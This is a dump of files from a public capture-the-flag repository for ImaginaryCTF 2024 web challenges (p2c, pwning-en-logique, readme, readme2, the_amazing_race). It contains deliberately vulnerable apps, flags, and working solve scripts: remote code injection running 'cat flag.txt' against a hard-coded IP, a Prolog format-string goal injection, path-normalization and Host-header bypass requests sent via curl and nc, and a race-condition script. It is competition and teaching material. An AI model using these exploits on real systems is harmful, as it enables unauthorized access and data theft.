-------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | {{code}} 7 | 8 | 9 | 10 |
11 | 12 | 22 | 23 |

Uh oh.. You found a bug!

24 |

Error: {{error}}

25 | 26 | 27 |
28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /Web/notactf/challenge/templates/post-login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Title 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Web/notactf/challenge/templates/unauthorized.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Title 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Web/notactf/notactf-dist.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/notactf/notactf-dist.zip -------------------------------------------------------------------------------- /Web/p2c/README.md: -------------------------------------------------------------------------------- 1 | # P2C 2 | **Category:** Web 3 | **Difficulty:** Easy-Medium 4 | **Author:** FIREPONY57 5 | 6 | ## Description 7 | 8 | Welcome to Python 2 Color, the world's best color picker from python code! 9 | 10 | ## Distribution 11 | 12 | - `p2c_release.zip` 13 | - web link 14 | 15 | ## Solution 16 | 17 | - solve.py 18 | -------------------------------------------------------------------------------- /Web/p2c/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: "p2c" 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 80 14 | healthcheck: 15 | enabled: false 16 | image: eu.gcr.io/imaginaryctf-2023/p2c-challenge:db87f2ed069077f0535765dd52d0fd9c3741dc49bce96c49cb5184e2fc528d3e 17 | -------------------------------------------------------------------------------- /Web/p2c/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim 2 | 3 | ENV FLASK_APP=/app/app.py:app 4 | 5 | RUN pip install flask==3.0.3 6 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y update && apt-get -y install sudo 7 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 8 | 9 | COPY app /app 10 | RUN mkdir /tmp/uploads 11 | RUN mv /app/parse.py /tmp/uploads/parse.py 12 | 13 | RUN chmod -R 555 /app/ 14 | RUN chmod -R 755 /tmp/uploads/ 15 | 16 | EXPOSE 80 17 | 18 | VOLUME /tmp 19 | 20 | WORKDIR /app 21 | CMD ["python3", "/app/app.py"] 22 | -------------------------------------------------------------------------------- /Web/p2c/challenge/app/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{d1_color_picker_fr_2ce0dd3d} 2 | -------------------------------------------------------------------------------- /Web/p2c/challenge/app/parse.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | if "random" not in dir(): 4 | import random 5 | 6 | def rgb_parse(inp=""): 7 | inp = str(inp) 8 | randomizer = random.randint(100, 1000) 9 | total = 0 10 | for n in inp: 11 | n = ord(n) 12 | total += n+random.randint(1, 10) 13 | rgb = total*randomizer*random.randint(100, 1000) 14 | rgb = str(rgb%1000000000) 15 | r = int(rgb[0:3]) + 29 16 | g = int(rgb[3:6]) + random.randint(10, 100) 17 | b = int(rgb[6:9]) + 49 18 | r, g, b = r%256, g%256, b%256 19 | return r, g, b 20 | 21 | -------------------------------------------------------------------------------- /Web/p2c/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{d1_color_picker_fr_2ce0dd3d} 2 | -------------------------------------------------------------------------------- /Web/p2c/challenge/p2c_release.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/p2c/challenge/p2c_release.zip -------------------------------------------------------------------------------- /Web/p2c/challenge/solve.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import re 4 | import random 5 | 6 | def rgb_parse(seed, inp=""): 7 | random.seed(seed) 8 | inp = str(inp) 9 | randomizer = random.randint(100, 1000) 10 | total = 0 11 | for n in inp: 12 | n = ord(n) 13 | total += n+random.randint(1, 10) 14 | rgb = total*randomizer*random.randint(100, 1000) 15 | rgb = str(rgb%1000000000) 16 | r = int(rgb[0:3]) + 29 17 | g = int(rgb[3:6]) + random.randint(10, 100) 18 | b = int(rgb[6:9]) + 49 19 | r, g, b = r%256, g%256, b%256 20 | return (r, g, b) 21 | 22 | lookup = {rgb_parse(i, "aaa"):i for i in range(256)} 23 | 24 | flag = "ictf{" 25 | valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)") 26 | 27 | while flag[-1] != "}": 28 | payload = f"""import random 29 | import subprocess 30 | flag = subprocess.check_output("cat flag.txt", shell=True, text=True) 31 | flag = flag.strip() 32 | random.seed(ord(flag[{len(flag)}])) 33 | return "aaa" 34 | """ 35 | 36 | match = re.search(valid, requests.post("http://34.91.38.193/", data={"code" : payload}).text) 37 | 38 | match = match.group()[1:-1] 39 | match = tuple(map(int, match.split(", "))) 40 | flag += chr(lookup[match]) 41 | print(flag) 42 | -------------------------------------------------------------------------------- /Web/pwning-en-logique/README.md: -------------------------------------------------------------------------------- 1 | # Pwning en Logique 2 | **Category:** Web 3 | **Difficulty:** Medium 4 | **Author:** lodsb 5 | 6 | ## Description 7 | 8 | `solved_pwnlog(X) :- '1337haxor'(X).` 9 | 10 | ## Distribution 11 | 12 | - `pwning_en_logique.tar.gz` (put `Dockerfile` and `server.pl` with flag replaced by a fake flag into a tar archive) 13 | - challenge instancer (the vulnerability makes it easy to just disable the web application, so every team should have its own instance) 14 | 15 | ## Solution 16 | 17 | Log in as either user (guest or AzureDiamond) and make a request to `/greet?format=~@~i&greeting=print_flag`. (`~@` in format interprets the argument as a goal to execute and `~i` just ignores the argument) 18 | -------------------------------------------------------------------------------- /Web/pwning-en-logique/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: "pwning-en-logique" 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 80 14 | healthcheck: 15 | enabled: true 16 | image: eu.gcr.io/imaginaryctf-2023/pwning-en-logique-healthcheck:498dc88d603bb569c60b86e70488fad1deaccf4173580357626f9c65888eb067 17 | image: eu.gcr.io/imaginaryctf-2023/pwning-en-logique-challenge:71c462a5b4feac5cea56f3c3ae144d2b1360fc9d9525932a2aeddf35d3572c46 18 | -------------------------------------------------------------------------------- /Web/pwning-en-logique/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN apt update -y && apt install -y swi-prolog tmux 4 | WORKDIR /app 5 | COPY server.pl . 6 | COPY run.sh /run.sh 7 | RUN chmod +x /run.sh 8 | 9 | VOLUME /tmp 10 | 11 | EXPOSE 80 12 | CMD /run.sh 13 | -------------------------------------------------------------------------------- /Web/pwning-en-logique/challenge/pwning_en_logique.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/pwning-en-logique/challenge/pwning_en_logique.tar.gz -------------------------------------------------------------------------------- /Web/pwning-en-logique/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | tmux new -d -s session 4 | tmux send-keys -t session "swipl -l server.pl -g 'server(80)'" Enter 5 | while [ 1 -eq 1 ]; do sleep 1; done 6 | -------------------------------------------------------------------------------- /Web/pwning-en-logique/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:abe5bc78f1eed01a050bc9efccde279aef560888598c0a04547b383a1429c6d4 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | RUN chmod +x /home/user/* 18 | 19 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 20 | -------------------------------------------------------------------------------- /Web/pwning-en-logique/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | try: 6 | s = requests.Session() 7 | r = s.get(f"http://localhost/").text 8 | r = s.post(f"http://localhost/login", data={"username": "guest", "password": "guest"}).text 9 | r = s.get(f"http://localhost/greet?format=~@~i&greeting=print_flag").text 10 | if "ictf{" in r: 11 | exit(0) 12 | else: 13 | exit(1) 14 | except: 15 | exit(1) 16 | -------------------------------------------------------------------------------- /Web/pwning-en-logique/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /Web/readme/README.md: -------------------------------------------------------------------------------- 1 | # readme 2 | **Category:** Web 3 | **Difficulty:** Easy 4 | **Author:** maple3142 5 | 6 | ## Description 7 | 8 | Try to read the `flag.txt` file. 9 | 10 | ## Distribution 11 | 12 | - `readme.tar.gz` (remove flag from Dockerfile then `tar czf readme.tar.gz src public default.conf docker-compose.yml Dockerfile package.json start.sh yarn.lock`) 13 | - url 14 | 15 | ## Solution 16 | 17 | ```bash 18 | curl --path-as-is 'http://localhost:80/flag.txt/.' 19 | ``` 20 | -------------------------------------------------------------------------------- /Web/readme/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: readme 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 80 14 | healthcheck: 15 | enabled: false 16 | image: eu.gcr.io/imaginaryctf-2023/readme-challenge:66fc85d7fc75fbbcecd02c8f799421476a070eff590de8be3984d03e19b7b051 17 | -------------------------------------------------------------------------------- /Web/readme/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:20-bookworm-slim 2 | 3 | RUN apt-get update \ 4 | && apt-get install -y nginx tini \ 5 | && apt-get clean \ 6 | && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 7 | 8 | WORKDIR /app 9 | COPY package.json yarn.lock ./ 10 | RUN yarn install --frozen-lockfile 11 | COPY src ./src 12 | COPY public ./public 13 | 14 | COPY default.conf /etc/nginx/sites-available/default 15 | COPY start.sh /start.sh 16 | 17 | VOLUME /app 18 | VOLUME /var 19 | VOLUME /run 20 | 21 | ENV FLAG="ictf{path_normalization_to_the_rescue}" 22 | 23 | ENTRYPOINT ["/usr/bin/tini", "--"] 24 | CMD ["/start.sh"] 25 | -------------------------------------------------------------------------------- /Web/readme/challenge/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80 default_server; 3 | listen [::]:80; 4 | root /app/public; 5 | 6 | location / { 7 | if (-f $request_filename) { 8 | return 404; 9 | } 10 | proxy_pass http://localhost:8000; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /Web/readme/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | web: 3 | image: readme 4 | build: . 5 | ports: 6 | - "8000:80" 7 | environment: 8 | - FLAG=flag{test_flag} 9 | -------------------------------------------------------------------------------- /Web/readme/challenge/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "readme", 3 | "version": "1.0.0", 4 | "main": "index.js", 5 | "license": "MIT", 6 | "dependencies": { 7 | "express": "^4.18.3" 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /Web/readme/challenge/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Hello World 7 | 8 | 9 | It works! 10 | 11 | 12 | -------------------------------------------------------------------------------- /Web/readme/challenge/readme.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/readme/challenge/readme.tar.gz -------------------------------------------------------------------------------- /Web/readme/challenge/src/app.js: -------------------------------------------------------------------------------- 1 | const express = require('express') 2 | const path = require('path') 3 | 4 | const app = express() 5 | app.use(express.static(path.join(__dirname, '../public'))) 6 | app.listen(8000) 7 | -------------------------------------------------------------------------------- /Web/readme/challenge/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | echo "${FLAG:-not_flag}" > /app/public/flag.txt 3 | nginx & 4 | node src/app.js 5 | -------------------------------------------------------------------------------- /Web/readme2/README.md: -------------------------------------------------------------------------------- 1 | # readme2 2 | **Category:** Web 3 | **Difficulty:** Medium 4 | **Author:** maple3142 5 | 6 | ## Description 7 | 8 | Try to read the `flag.txt` file, again! 9 | 10 | ## Distribution 11 | 12 | - `readme2.tar.gz` (remove flag from Dockerfile then `tar czf readme.tar.gz app.js Dockerfile`) 13 | - url 14 | 15 | ## Solution 16 | 17 | Bun will put the value of `Host` header into `req.url`, which allows us to do many funny things to bypass the check. 18 | 19 | ```bash 20 | > printf 'GET /.. HTTP/1.0\r\nHost: fakehost/fla\tg.txt\r\n\r\n' | nc readme2.chal.imaginaryctf.org 80 21 | HTTP/1.1 200 OK 22 | Content-Type: text/plain;charset=utf-8 23 | Date: Sun, 21 Jul 2024 08:37:29 GMT 24 | Date: Sun, 21 Jul 2024 08:37:29 GMT 25 | Content-Length: 43 26 | 27 | ictf{just_a_funny_bug_in_bun_http_handling} 28 | ``` 29 | -------------------------------------------------------------------------------- /Web/readme2/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: readme2 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 4000 14 | healthcheck: 15 | enabled: false 16 | image: eu.gcr.io/imaginaryctf-2023/readme2-challenge:5df6ea6ceadf2f68996dc4ccbcdca9bc7fa848df78f3fd768c9e233be110e45c 17 | -------------------------------------------------------------------------------- /Web/readme2/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM oven/bun:1.1.20-slim 2 | 3 | WORKDIR /app 4 | COPY app.js ./ 5 | 6 | ENV FLAG="ictf{just_a_funny_bug_in_bun_http_handling}" 7 | 8 | CMD ["bun", "run", "app.js"] 9 | -------------------------------------------------------------------------------- /Web/readme2/challenge/app.js: -------------------------------------------------------------------------------- 1 | const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}' 2 | 3 | Bun.serve({ 4 | async fetch(req) { 5 | const url = new URL(req.url) 6 | if (url.pathname === '/') return new Response('Hello, World!') 7 | if (url.pathname.startsWith('/flag.txt')) return new Response(flag) 8 | return new Response(`404 Not Found: ${url.pathname}`, { status: 404 }) 9 | }, 10 | port: 3000 11 | }) 12 | Bun.serve({ 13 | async fetch(req) { 14 | if (req.url.includes('flag')) return new Response('Nope', { status: 403 }) 15 | const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag')) 16 | if (headerContainsFlag) return new Response('Nope', { status: 403 }) 17 | const url = new URL(req.url) 18 | if (url.href.includes('flag')) return new Response('Nope', { status: 403 }) 19 | return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), { 20 | method: req.method, 21 | headers: req.headers, 22 | body: req.body 23 | }) 24 | }, 25 | port: 4000 // only this port are exposed to the public 26 | }) 27 | -------------------------------------------------------------------------------- /Web/readme2/challenge/exp.sh: -------------------------------------------------------------------------------- 1 | printf 'GET /.. HTTP/1.0\r\nHost: fakehost/fla\tg.txt\r\n\r\n' | nc localhost 4000 2 | -------------------------------------------------------------------------------- /Web/readme2/challenge/readme2.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/readme2/challenge/readme2.tar.gz -------------------------------------------------------------------------------- /Web/the_amazing_race/README.md: -------------------------------------------------------------------------------- 1 | # The Amazing Race 2 | **Category:** Web 3 | **Difficulty:** Easy/Medium 4 | **Author:** puzzler7 5 | 6 | ## Description 7 | 8 | I've hidden my flag in an impenetrable maze! Try as you might, even though it's right there, you'll never get the flag! 9 | 10 | ## Distribution 11 | 12 | - url 13 | 14 | ## Solution 15 | 16 | There is a race condition where the server first checks if the player can move, then moves the player, then updates whether or not the player can move. This means that by submitting many simultaneous requests to move the same direction at the same time, you can move multiple spaces in a direction that you would normally only be able to move space in, allowing you to tunnel through walls. 17 | 18 | See x.py for a partial solution. 19 | -------------------------------------------------------------------------------- /Web/the_amazing_race/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: "the-amazing-race" 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 8000 14 | healthcheck: 15 | enabled: false 16 | image: eu.gcr.io/imaginaryctf-2023/the-amazing-race-healthcheck:ff55da9c97548e7b121d444595a202b6264475e58dae8388bc2740eb4743a82f 17 | image: eu.gcr.io/imaginaryctf-2023/the-amazing-race-challenge:917eabfdcc7df70757b0fe2e437eee018065b32ca7d61ca3eb1cfa8e916fba79 18 | -------------------------------------------------------------------------------- /Web/the_amazing_race/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN apt-get update -y && \ 4 | apt-get install -y python3-pip python3-dev 5 | 6 | WORKDIR /app 7 | 8 | RUN pip3 install flask Flask-Limiter gunicorn 9 | 10 | COPY . /app 11 | 12 | RUN chmod -R 777 /app 13 | 14 | USER 1000:1000 15 | 16 | VOLUME /tmp 17 | CMD gunicorn -w 8 -b 0.0.0.0:8000 app:app 18 | -------------------------------------------------------------------------------- /Web/the_amazing_race/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | app: 3 | build: . 4 | ports: 5 | - "80:80" 6 | -------------------------------------------------------------------------------- /Web/the_amazing_race/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st} -------------------------------------------------------------------------------- /Web/the_amazing_race/challenge/mazes.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/the_amazing_race/challenge/mazes.db -------------------------------------------------------------------------------- /Web/the_amazing_race/challenge/templates/maze.html: -------------------------------------------------------------------------------- 1 |
7 |

13 | {{ maze }}
14 | 
15 |
16 | {{ flag }} 17 |
18 |
23 | 24 | 25 | 26 | 27 |
28 |

View my source!

29 |
30 | -------------------------------------------------------------------------------- /Web/the_amazing_race/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:abe5bc78f1eed01a050bc9efccde279aef560888598c0a04547b383a1429c6d4 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | RUN chmod +x /home/user/* 18 | 19 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 20 | -------------------------------------------------------------------------------- /Web/the_amazing_race/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | try: 6 | s = requests.Session() 7 | r = s.get(f"http://localhost:8000/").text 8 | if "View" in r: 9 | exit(0) 10 | else: 11 | exit(1) 12 | except: 13 | exit(1) 14 | -------------------------------------------------------------------------------- /Web/the_amazing_race/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /Web/the_amazing_race/x.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from subprocess import Popen 4 | from time import sleep 5 | 6 | mazeId = "29f43f1a-294c-49fc-bef1-285af4f8a148" 7 | # Can tunnel through walls in specified direction if there's at least 8 | # one empty space before the wall 9 | # 10 | # Run, readjust position/direction as desired, repeat until flag 11 | url = f"http://localhost:80/move?id={mazeId}&move=down" 12 | 13 | for i in range(50): 14 | Popen(["curl", "-X", "POST", url]) 15 | sleep(.00) 16 | --------------------------------------------------------------------------------